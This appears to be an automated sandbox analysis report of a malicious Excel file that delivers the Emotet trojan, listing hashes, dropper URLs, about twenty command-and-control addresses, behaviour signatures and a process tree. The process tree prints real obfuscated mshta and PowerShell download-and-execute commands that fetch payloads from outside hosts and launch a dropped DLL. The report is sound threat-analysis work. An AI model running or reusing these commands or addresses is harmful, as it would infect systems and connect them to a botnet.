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Analysis

  • max time kernel
    111s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    21/01/2022, 05:10

General

  • Target

    2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41.xls

  • Size

    69KB

  • MD5

    3a1495184751bb9daebf21f57c88896d

  • SHA1

    5aa023ed500a7f8b476c404b26e79a7600ecd3d6

  • SHA256

    2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41

  • SHA512

    738dee6362259030dafd18956535c5726a3e7bcb783392eb0b9fcc48dc76c6dad8fae675fc56262936847b75b92c2aecbda2c00f6c838eb084a45a027fa3a827

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:660
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4028
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:840
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3912
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2704
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:684
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:980
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mguqqbjvilfdcdq\ckmxdouje.lxe",vcOaqKjJ
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3748
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mguqqbjvilfdcdq\ckmxdouje.lxe",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1208
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 840 -s 1668
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2348

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/660-373-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

  • memory/660-116-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

  • memory/660-128-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

    Filesize

    64KB

  • memory/660-129-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

    Filesize

    64KB

  • memory/660-376-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

  • memory/660-375-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

  • memory/660-374-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

  • memory/660-121-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

  • memory/660-115-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

  • memory/660-117-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

  • memory/660-118-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

  • memory/684-317-0x0000000002980000-0x00000000029A6000-memory.dmp

    Filesize

    152KB

  • memory/980-345-0x0000000005690000-0x00000000056B6000-memory.dmp

    Filesize

    152KB

  • memory/980-331-0x0000000005530000-0x0000000005556000-memory.dmp

    Filesize

    152KB

  • memory/980-323-0x00000000052B0000-0x00000000052D6000-memory.dmp

    Filesize

    152KB

  • memory/980-325-0x0000000005390000-0x00000000053B6000-memory.dmp

    Filesize

    152KB

  • memory/980-327-0x0000000005470000-0x0000000005496000-memory.dmp

    Filesize

    152KB

  • memory/980-329-0x00000000054D0000-0x00000000054F6000-memory.dmp

    Filesize

    152KB

  • memory/1208-352-0x0000000004FA0000-0x0000000004FC6000-memory.dmp

    Filesize

    152KB

  • memory/1208-350-0x0000000004EC0000-0x0000000004EE6000-memory.dmp

    Filesize

    152KB

  • memory/1208-354-0x0000000005080000-0x00000000050A6000-memory.dmp

    Filesize

    152KB

  • memory/1208-356-0x0000000005170000-0x0000000005196000-memory.dmp

    Filesize

    152KB

  • memory/1208-358-0x0000000005270000-0x0000000005296000-memory.dmp

    Filesize

    152KB

  • memory/3912-314-0x0000017CA6690000-0x0000017CBE810000-memory.dmp

    Filesize

    385.5MB

  • memory/3912-311-0x0000017CA6690000-0x0000017CBE810000-memory.dmp

    Filesize

    385.5MB

  • memory/3912-308-0x0000017CA6690000-0x0000017CBE810000-memory.dmp

    Filesize

    385.5MB

  • memory/3912-303-0x0000017CBEF00000-0x0000017CBEF76000-memory.dmp

    Filesize

    472KB

  • memory/3912-292-0x0000017CBEBE0000-0x0000017CBEC1C000-memory.dmp

    Filesize

    240KB

  • memory/3912-273-0x0000017CBE810000-0x0000017CBE832000-memory.dmp

    Filesize

    136KB